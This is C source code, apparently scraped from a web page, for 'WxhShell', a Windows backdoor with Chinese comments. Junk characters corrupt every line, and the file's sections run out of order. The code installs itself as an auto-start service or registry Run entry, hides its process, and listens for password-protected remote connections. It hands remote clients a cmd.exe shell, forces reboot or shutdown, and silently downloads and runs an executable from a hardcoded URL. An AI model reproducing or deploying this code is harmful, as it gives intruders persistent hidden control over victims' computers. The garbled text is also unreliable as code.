    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rg!r[1c  
    else { rjYJs*#  
    closesocket(wsh); G_,jgg7  
    ExitThread(0); q@8*Xa>  
    } jQB9j  
    break; Tyx_/pJT  
    } /82b S|  
  // 获取shell s.C_Zf~3  
  case 's': { aqk!T%fg  
    CmdShell(wsh); UZ+<\+q3^  
    closesocket(wsh); M .mfw#*  
    ExitThread(0); D'Q\za  
    break; EaN6^S=  
  } s2'h  
  // 退出 XXa|BZ1RX  
  case 'x': { cVF "!.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?6WY:Zec@  
    CloseIt(wsh); 1=V-V<  
    break; h2d(?vOT  
    } i8]S:49  
  // 离开 T_4/C2  
  case 'q': { @K-">f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $xN|5;+  
    closesocket(wsh); 0 kW,I  
    WSACleanup(); &D*b|ilvc  
    exit(1); C~/a-  
    break; wf<M)Rs|  
        } }BP;1y6-r  
  } KbeC"mi  
  } 8$}<, c(  
]c'A%:f<  
  // 提示信息 C?eH]hkZ3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Q3c[ Y  
} .$vK&k  
  } 7qS)c}Q\  
Y}wyw8g/  
  return; G4"F+%.  
} A*BeR0(  
Cw&KVw*  
// shell模块句柄 H qx-;F~0  
int CmdShell(SOCKET sock) xJ.M;SF4  
{ utV_W&  
STARTUPINFO si; IH+|}z4N?>  
ZeroMemory(&si,sizeof(si)); UkFC~17P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z,PPu&lmE/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =rdV ]{Wc  
PROCESS_INFORMATION ProcessInfo; tKXIk9e  
char cmdline[]="cmd"; SE*g;Cvg1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j0q&&9/Jj  
  return 0; CpT jJXb  
} 3u0RKLc\  
r9?Mw06Wc5  
// 自身启动模式 EfT=?  
int StartFromService(void) sRb9`u =)  
{ }Zp,+U*"  
typedef struct |2A:eI8 ^  
{ K{+2G&i  
  DWORD ExitStatus; 'LDQgC*%  
  DWORD PebBaseAddress; <N~K ;n v  
  DWORD AffinityMask; 4#Jg9o   
  DWORD BasePriority; O;3>sLgc  
  ULONG UniqueProcessId; p6S8VA  
  ULONG InheritedFromUniqueProcessId; =Dj#gV  
}   PROCESS_BASIC_INFORMATION; "\yT7?},  
2GG2jky{/  
PROCNTQSIP NtQueryInformationProcess; zfdl45  
=?8@#]G+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2&cT~ZX&'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m9;SrCN_  
v`T c}c '  
  HANDLE             hProcess; qf-8<{T  
  PROCESS_BASIC_INFORMATION pbi; )boE/4  
-mh3DhJ,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *{5fq_  
  if(NULL == hInst ) return 0; (/$^uWj  
RxQ*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E"IZ6)Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Dw"\/p:-3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;n;p@Uu[ b  
Q/Rqa5LI:  
  if (!NtQueryInformationProcess) return 0; h{qgEIk&  
8eRLy/`gd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #<xm.  
  if(!hProcess) return 0; 6aj!Q*(WT  
-yg7;ff  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `WS&rmq&'  
"<gOzXpa  
  CloseHandle(hProcess); -Lg Ei3m  
%a7$QF]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @ N m@]q  
if(hProcess==NULL) return 0; x?<FJ"8"k  
MHwIA*R  
HMODULE hMod; A@u@ift  
char procName[255]; N$tGQ@  
unsigned long cbNeeded; *n!J=yS  
NxILRKwO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `d(ThP;g  
2fS:- 8N  
  CloseHandle(hProcess); vih9 KBT  
?q [T  
if(strstr(procName,"services")) return 1; // 以服务启动 4I[P>  
J .%IfN  
  return 0; // 注册表启动 \{D" !e  
} bI`g|v  
2Khv>#l  
// 主模块 6S{l' !s'  
int StartWxhshell(LPSTR lpCmdLine)  Fk;Rfqq  
{ ugBCBr  
  SOCKET wsl; _e2=ado  
BOOL val=TRUE; }-`4DHgq  
  int port=0; G+m }MOQP7  
  struct sockaddr_in door; MqMQtU9w  
z(~_AN M4,  
  if(wscfg.ws_autoins) Install(); E*lxVua  
~>XxGjxe  
port=atoi(lpCmdLine); eJX#@`K  
ji= "DYtL  
if(port<=0) port=wscfg.ws_port; R@2X3s:  
C_Wc5{  
  WSADATA data; '<uq3?5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X wtqi@zlE  
\)Cl%Em  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v` r:=K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); phz&zl D  
  door.sin_family = AF_INET; .S4u-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oL<St$1  
  door.sin_port = htons(port); |[y6Ua0  
dF2RH)Ud  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D/' dTrR  
closesocket(wsl); Qg/rRiV  
return 1; ss-D(K"  
} e:W{OIz:  
c*M} N?|6  
  if(listen(wsl,2) == INVALID_SOCKET) { ,"ql5Q4  
closesocket(wsl); "Rl}VeDY  
return 1; K<J9 ~  
} DaVa}  
  Wxhshell(wsl); K,UMqAmk  
  WSACleanup(); F:ELPs4"  
.G\7cZ  
return 0; T]$U""  
#A.@i+Zv  
} :gC#hmm^  
BJ0?kX@  
// 以NT服务方式启动 %|4UsWZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WEpoBP CL  
{ bPMhfK2 %  
DWORD   status = 0; wyG;8I  
  DWORD   specificError = 0xfffffff; yDS4h(^  
nRY5xRvK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :hA#m[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E\$W_Lmr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q@HV- (A  
  serviceStatus.dwWin32ExitCode     = 0; Y\tui+?J  
  serviceStatus.dwServiceSpecificExitCode = 0; !&\INl-Z  
  serviceStatus.dwCheckPoint       = 0; tnIX:6  
  serviceStatus.dwWaitHint       = 0; D`AsRd  
.e5Mnd%$M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j|Q-*]V  
  if (hServiceStatusHandle==0) return; <-0]i_4sK  
azU"G(6y?+  
status = GetLastError(); Y^]rMK/;  
  if (status!=NO_ERROR) O H7FkR  
{ =w^M{W.w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  S[QrS 7  
    serviceStatus.dwCheckPoint       = 0; E)3NxmM#  
    serviceStatus.dwWaitHint       = 0; C*lJrFpB  
    serviceStatus.dwWin32ExitCode     = status; 9>$p  
    serviceStatus.dwServiceSpecificExitCode = specificError; -Qe Z#w|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A\;U3Zu  
    return; .sA.C] f  
  } 'ig'cRD6N  
hzC>~Ub5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r_.S>]  
  serviceStatus.dwCheckPoint       = 0; *$*ce|V5  
  serviceStatus.dwWaitHint       = 0; SY8C4vb'h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @|)Z"m7  
} y_9Ds>p!T  
~_ a-E  
// 处理NT服务事件,比如:启动、停止 5:U so{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Qci]i)s$js  
{ -{_PuJ "  
switch(fdwControl) bjS {(  
{ 3mni>*q7d  
case SERVICE_CONTROL_STOP: Sx\]!B@DSu  
  serviceStatus.dwWin32ExitCode = 0; h.fq,em+H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,2)6s\]/b  
  serviceStatus.dwCheckPoint   = 0; lys#G:H]  
  serviceStatus.dwWaitHint     = 0; &~w}_Fjk  
  { BluVmM3Vj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9{uO1O\  
  } P }uOJVQ_  
  return; u]gxFG "   
case SERVICE_CONTROL_PAUSE: u2[w#   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kNL\m[W8$  
  break; {y;n:^  
case SERVICE_CONTROL_CONTINUE: [8*)8jP3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]cruF#`%  
  break; %%wNZ{  
case SERVICE_CONTROL_INTERROGATE: M@ZI\  
  break; KG5>]_GH  
}; ]s748+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]9,; K;1<  
} FGQzoS  
v9UD%@tZ  
// 标准应用程序主函数 :j`s r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~v"L!=~G;a  
{ 1i ] ^{;]  
ZAf7Tz\U  
// 获取操作系统版本 Tb-F]lg$  
OsIsNt=GetOsVer(); -`t^7pr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); snikn&  
Tac$LS\Q  
  // 从命令行安装 m#F`] {  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9)=ctoZ'  
ei{eTp4HpV  
  // 下载执行文件  f V(J|  
if(wscfg.ws_downexe) { x3krbUlx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4H<lm*!^  
  WinExec(wscfg.ws_filenam,SW_HIDE); g zg_>2Sj  
} dq[xwRU1  
a@*\o+Su  
if(!OsIsNt) { Qw)c$93  
// 如果时win9x,隐藏进程并且设置为注册表启动 \^%}M!tan  
HideProc(); )F2OT<]m,  
StartWxhshell(lpCmdLine); -PQv ?5  
} $tS}LN_!  
else 9&ids!W~yx  
  if(StartFromService()) !? gKqx'T$  
  // 以服务方式启动 k# rBB  
  StartServiceCtrlDispatcher(DispatchTable); ` ~`k_7t.  
else IaXeRq?<  
  // 普通方式启动 fd2T=fz-  
  StartWxhshell(lpCmdLine); O7IJ%_A&  
k@:%:Sj 2  
return 0; Tu7QCr5*  
} "-J -k=  
?I@W:#>o  
*=c1d o%F  
t<viX's  
=========================================== VU d\QR-  
W#sU`T   
# Vha7  
I.k *GW  
.VzT:4-<Q"  
1y4  
" <A'$%`6m  
0_t`%l=  
#include <stdio.h> 8*T=Xei8  
#include <string.h> E+w<RNBmz  
#include <windows.h> `^y7f  
#include <winsock2.h> n=ux5M  
#include <winsvc.h> 5[u]E~Fl}  
#include <urlmon.h> xUistwq  
Vy, DN~ag  
#pragma comment (lib, "Ws2_32.lib") hfy_3}_  
#pragma comment (lib, "urlmon.lib") "6?0h[uff  
/~f'}]W  
#define MAX_USER   100 // 最大客户端连接数 NTI+  
#define BUF_SOCK   200 // sock buffer }~e%J(  
#define KEY_BUFF   255 // 输入 buffer H+Sz=tg5  
7x4PaX(  
#define REBOOT     0   // 重启 qm o9G  
#define SHUTDOWN   1   // 关机 sp*v?5lW  
#?9;uy<j.q  
#define DEF_PORT   5000 // 监听端口 R!N%o~C2-  
\)?HJ  
#define REG_LEN     16   // 注册表键长度 l2P=R)@{  
#define SVC_LEN     80   // NT服务名长度 ]`+HO=0  
hFl^\$Re  
// 从dll定义API 2V;PYI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  1HZO9cXJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n#OB%@]<V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s+?zL~t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pD#rnp>WWt  
.UY^oR=b{  
// wxhshell配置信息 KNIn:K^/  
struct WSCFG { )f<z% :I+Z  
  int ws_port;         // 监听端口 u^qT2Ss0  
  char ws_passstr[REG_LEN]; // 口令 ah+iZ}E%  
  int ws_autoins;       // 安装标记, 1=yes 0=no wx0j(:B]  
  char ws_regname[REG_LEN]; // 注册表键名 X*@dj_,  
  char ws_svcname[REG_LEN]; // 服务名 xx%j.zDI]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r #cGop]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _8_R 1s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p sMvq@>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *6DB0X_-}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g~A`N=r;h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -:y,N 9^  
P! #[mio  
}; +s DV~\Vu  
T <ET )D7  
// default Wxhshell configuration &AbNWtCV+G  
struct WSCFG wscfg={DEF_PORT, *.d)OOpLo  
    "xuhuanlingzhe", \Et3|Iv  
    1, oHn Ky[1  
    "Wxhshell", =.]4;z  
    "Wxhshell", SmSH2m-  
            "WxhShell Service", y ~!Zg}o  
    "Wrsky Windows CmdShell Service", 'Xq| Kf (  
    "Please Input Your Password: ", o]M5b;1  
  1,  DwE[D]7o  
  "http://www.wrsky.com/wxhshell.exe", 8i#2d1O  
  "Wxhshell.exe" !58@pLJw  
    }; !\.pq  2  
^N{h3b8  
// 消息定义模块 *]/zc1Q4M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wHMX=N1/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CD ( :jM?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '=8d?aeF  
char *msg_ws_ext="\n\rExit."; MXNFlP  
char *msg_ws_end="\n\rQuit."; uH- l%17  
char *msg_ws_boot="\n\rReboot..."; LR.<&m%~.  
char *msg_ws_poff="\n\rShutdown..."; Fgh_9S9J  
char *msg_ws_down="\n\rSave to "; A1>OY^p3%  
Oso#+  
char *msg_ws_err="\n\rErr!"; .jT#:_  
char *msg_ws_ok="\n\rOK!"; 9c,'k#k  
N.{H,oO `  
char ExeFile[MAX_PATH]; Jgd'1'FOs  
int nUser = 0; ++Ts  
HANDLE handles[MAX_USER]; V_}"+&W9  
int OsIsNt; ;dZZ;#k%  
|AU~_{H  
SERVICE_STATUS       serviceStatus; hVAn>_(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RF53Jyt  
"2$fi{9  
// 函数声明 ryUQU^v  
int Install(void); Tc`=f'pP)4  
int Uninstall(void); peuZ&yK+"  
int DownloadFile(char *sURL, SOCKET wsh); 'UX!*5k<:  
int Boot(int flag); [H^z-6x:0  
void HideProc(void); 9oR@U W1  
int GetOsVer(void); ;1O_M9  
int Wxhshell(SOCKET wsl); tKx~1-  
void TalkWithClient(void *cs); gS]@I0y8 .  
int CmdShell(SOCKET sock); ZWU)\}}_R  
int StartFromService(void); n QZwC  
int StartWxhshell(LPSTR lpCmdLine); , I (d6  
/quc}"__  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `yXg{lk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }DfshZ0QM  
e95Lo+:f  
// 数据结构和表定义 <?}-$  
SERVICE_TABLE_ENTRY DispatchTable[] = V0.vQ/  
{ d#rf5<i  
{wscfg.ws_svcname, NTServiceMain}, as4;:  
{NULL, NULL} dx{bB%?Y\=  
}; u^bidd6JRn  
(G4at2YLd  
// 自我安装 # 0Q]dO  
int Install(void) YPK(be_|I  
{ +tIF h'  
  char svExeFile[MAX_PATH]; >xYpNtEs  
  HKEY key; m6&~HfwN  
  strcpy(svExeFile,ExeFile); O/a4]r+_  
]kRfB:4ED  
// 如果是win9x系统,修改注册表设为自启动 _] sn0rX  
if(!OsIsNt) { 1AfnzGvA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }mq6]ZrK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dIa+K?INX  
  RegCloseKey(key); xU>WEm2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a#y;dK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l%puHZ)t  
  RegCloseKey(key); 5Y'qaIFR  
  return 0; n:\~'+$  
    } _j/<{vSy  
  } #TX/aKr:  
} E+R1 !.  
else { q`H_M{26!y  
mD0f<gJ1  
// 如果是NT以上系统,安装为系统服务 ith 3 =`3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M!A}NWF  
if (schSCManager!=0) A8fOQ  
{ ;F!5%}OcL%  
  SC_HANDLE schService = CreateService iWB=sL&p  
  ( w QH<gJE/:  
  schSCManager, (*nT(Adk  
  wscfg.ws_svcname, [.'|_l  
  wscfg.ws_svcdisp, ]J}  
  SERVICE_ALL_ACCESS, 3kIN~/<R+7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ym{tR,g7  
  SERVICE_AUTO_START, ?U5{Wa85D  
  SERVICE_ERROR_NORMAL, 6?mibvK  
  svExeFile, ^ H ThN  
  NULL, B^Nf #XN(  
  NULL, p7VTa~\zA  
  NULL, ~u!|qM  
  NULL, k)= X}=w  
  NULL 6]_pIf  
  ); ]kG"ubHV?h  
  if (schService!=0) zyc"]IzOU  
  { c~$)UND^  
  CloseServiceHandle(schService); o]` *M|  
  CloseServiceHandle(schSCManager); @+M /&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KL:j?.0  
  strcat(svExeFile,wscfg.ws_svcname); X_ cV%#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {M$1N5Eh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3yY}04[9<  
  RegCloseKey(key); (G u zN  
  return 0; nntuLuW  
    } /vde2.|  
  } w%VU/6~  
  CloseServiceHandle(schSCManager); tl4V7!U@^z  
} =J]]EoX/  
} ,p@y] cr  
-p&" y3<p  
return 1; `*["UER  
} k\YG^I  
a| x.C6P e  
// 自我卸载 axRV:w;E<  
int Uninstall(void) [vK ^Um  
{ |zNX=mAV  
  HKEY key;  u\x}8pn  
='sHj4hU  
if(!OsIsNt) { *@r/5pM2}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }bpQq6ZF  
  RegDeleteValue(key,wscfg.ws_regname); +L| ?~p`V  
  RegCloseKey(key); M~#gRAUJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %@ODs6 R0  
  RegDeleteValue(key,wscfg.ws_regname); mpEK (p  
  RegCloseKey(key); nFg~< $d  
  return 0; !/*\}\'4  
  } r CHl?J  
} )!Z*.?  
} -M~:lK]n   
else { OU(8V^.  
s1$nvTzBr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); | y# Jx  
if (schSCManager!=0) S8w _ii3zd  
{ v ~?qz5:K~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >,Ci?[pf  
  if (schService!=0) x{8xW0  
  { fZzoAzfv2  
  if(DeleteService(schService)!=0) { |&nS|2.'  
  CloseServiceHandle(schService); qIE9$7*X  
  CloseServiceHandle(schSCManager); V/LLaZ TE  
  return 0; [M}{G5U.  
  } '8. r-`l(  
  CloseServiceHandle(schService); `?qF$g9u~  
  } n;Q7X>-f8`  
  CloseServiceHandle(schSCManager); B6As,)RjD:  
} 4*#18<u5  
} \*y-g@-{W$  
V-2(?auZd  
return 1; |t&>5HM  
} 4qh?,^Dq  
\0I_<  
// 从指定url下载文件 cJ n=  
int DownloadFile(char *sURL, SOCKET wsh) VUGmi]qd  
{ ]^'Kd*x  
  HRESULT hr; l0w]`EE  
char seps[]= "/"; L>NL:68yN  
char *token; |A9F\A->4  
char *file; x8\?}UnB  
char myURL[MAX_PATH]; 5iw<>9X*  
char myFILE[MAX_PATH]; fLD, 5SN  
~i{(<.he  
strcpy(myURL,sURL); >d*@_ kJM  
  token=strtok(myURL,seps); v2\FA(BPn  
  while(token!=NULL) )Y0!~# `  
  { f=Gg9bnm3  
    file=token; &|ex`nwc0  
  token=strtok(NULL,seps); y0.'?6k  
  } z}9(x.I  
,vawzq[oSy  
GetCurrentDirectory(MAX_PATH,myFILE); 0 [# 3;a  
strcat(myFILE, "\\"); a=1@*ID  
strcat(myFILE, file); "1*:JVG  
  send(wsh,myFILE,strlen(myFILE),0); o]_dJB  
send(wsh,"...",3,0); vjCu4+w($Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3E]plj7$  
  if(hr==S_OK) ^4hO  
return 0; 1~`fVg  
else HTS0s\R$  
return 1; uc\Kg1{  
9c'xHO`  
} f:w?pE  
CL;}IBd a  
// 系统电源模块 ~.nmI&3  
int Boot(int flag) ~2N"#b&J  
{ _pG-qK  
  HANDLE hToken; qLG&WB  
  TOKEN_PRIVILEGES tkp; RFcv^Xf  
fk>aqm7D!  
  if(OsIsNt) { IGQFtO/x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RnE4<Cy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v^NIx q}U  
    tkp.PrivilegeCount = 1; gp?uHKsM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6ex/TySM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SmH=e@y~Lx  
if(flag==REBOOT) { /NFj(+&g+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fb>?1i`RN  
  return 0; 1{. |+S Z!  
} `?@}>.  
else { u@M,qo`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]Sz:|%JP1  
  return 0; e}7lBLK]*  
} n\'4  
  } MUc$ j&  
  else { @ioJ] $o7  
if(flag==REBOOT) { [5b--O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a0E)2vt4  
  return 0; |F[+k e  
} KqJs?Won  
else { 50wulGJud  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9>/4W.  
  return 0; iC~^)-~H=w  
} 9T9!kb  
} _Y4` xv0/  
Y =I'czg  
return 1; =v&hWjP  
} >Q;l(fdj  
n'LrQU  
// win9x进程隐藏模块 [yQt^!;  
void HideProc(void) _8J.fT$${  
{ sb*G!8j  
!;{7-~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HM1Fz\Sf  
  if ( hKernel != NULL ) q~o<*W   
  { :\c ^*K(9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m? }6)\ob  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p27~>xQ  
    FreeLibrary(hKernel); P|E| $)m  
  } rJ4S%6w  
FVbb2Y?R  
return; f~R(D0@  
} R+z2}}Z!`  
Y\P8 v  
// 获取操作系统版本 #p&qUw  
int GetOsVer(void) BwpqNQN  
{ NwvC[4  
  OSVERSIONINFO winfo; ,/2Vt/lt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RSRS wkC  
  GetVersionEx(&winfo); {\1?ZrCI&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \?-<4Bc@  
  return 1; Hzz %3}E  
  else yx[/|nZDC4  
  return 0; '<)n8{3Q5w  
} eC4[AX6e  
8kIksy  
// 客户端句柄模块 2@],ZLa  
int Wxhshell(SOCKET wsl) ML 9' |  
{ )2o?#8J  
  SOCKET wsh; +TL%-On  
  struct sockaddr_in client; pah'>dAL  
  DWORD myID; b_taC^-l  
 |>^JRx  
  while(nUser<MAX_USER) SKN`2hD  
{ u c)eil  
  int nSize=sizeof(client); [|$h*YK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VCkq"f7c w  
  if(wsh==INVALID_SOCKET) return 1; n( yn<  
Ll't>)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YkSl^j[DHs  
if(handles[nUser]==0) +Kc  
  closesocket(wsh); CK@@HSm}l  
else WpP}stam/  
  nUser++; V f&zL Sgr  
  } "HIRTE;&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sl l\g  
Z5n1@a __  
  return 0; %[TR^Th6  
} qe#tj/aZ  
2]*OQb#O6e  
// 关闭 socket M|h3Wt~7  
void CloseIt(SOCKET wsh) !f [_+CD  
{ TIDO@NwF  
closesocket(wsh); Wn2NMXK  
nUser--; @Nx 9)  
ExitThread(0); hn@08t G  
} U7F!Z( 9  
B9z?mt'|r)  
// 客户端请求句柄 JH9J5%sp  
void TalkWithClient(void *cs) LH% F 8  
{ vvMT}-!  
CAhXQ7w'Z  
  SOCKET wsh=(SOCKET)cs; gr2U6gi  
  char pwd[SVC_LEN]; FW4<5~'  
  char cmd[KEY_BUFF]; W{+2/P  
char chr[1]; 3nQ`]5.Q w  
int i,j; #c!lS<z  
Ld~/u]K%V  
  while (nUser < MAX_USER) { C&%_a~  
cm+Es6;  
if(wscfg.ws_passstr) { TD0 B%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W ac&b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J*M>6Q.)  
  //ZeroMemory(pwd,KEY_BUFF); %tGO?JMkd  
      i=0; Bwxd&;E  
  while(i<SVC_LEN) { \R_C&=  
Ti5-6%~&  
  // 设置超时 r,p%U!S<hV  
  fd_set FdRead; ZY+qA  
  struct timeval TimeOut; 6cXyJW  
  FD_ZERO(&FdRead); <]2wn  
  FD_SET(wsh,&FdRead); I\ob7X'Xu!  
  TimeOut.tv_sec=8; 4D4j7  
  TimeOut.tv_usec=0; Y:[u1~a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u*`GiZAO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8l rpve  
#X1ND  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <bWG!ZG  
  pwd=chr[0]; TvbE2Q;/UL  
  if(chr[0]==0xd || chr[0]==0xa) { WOap+  
  pwd=0; TC*g|d @b  
  break; #*Ctwl,T  
  } wmLs/:~  
  i++; 5 7c8xk[.2  
    } 4tBYR9|  
Q![@c   
  // 如果是非法用户,关闭 socket 8d'0N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (jE9XxQY  
} 6i/(5 nQ  
26h21Z16q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b ]KBgZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R\[e!g*I  
sPIn|d  
while(1) { j\M?~=*w  
@o`AmC . 8  
  ZeroMemory(cmd,KEY_BUFF); L!xi  
Gd85kY@w7  
      // 自动支持客户端 telnet标准   gcT%c|.  
  j=0; ?Ir:g=RP*  
  while(j<KEY_BUFF) { ym1Y4,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  @q) d  
  cmd[j]=chr[0]; P&Vv/D  
  if(chr[0]==0xa || chr[0]==0xd) { j8sH|{H!Nq  
  cmd[j]=0; 8":Q)9;%  
  break; O=7CMbS3  
  } |sE'XT4ag  
  j++; WpvhTX  
    } % pCTN P  
es7=%!0  
  // 下载文件 <a3 WKw  
  if(strstr(cmd,"http://")) { "w<#^d_6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kAUymds;O  
  if(DownloadFile(cmd,wsh)) ef4 i:.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~P-mC@C  
  else CrTw@AW9)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (T oUgVW1N  
  } ~k5W@`"W  
  else { JxU5 fe  
Q7CsJzk~)  
    switch(cmd[0]) { Q"#J6@  
  fk-RV>yr  
  // 帮助 4*;MJ[|  
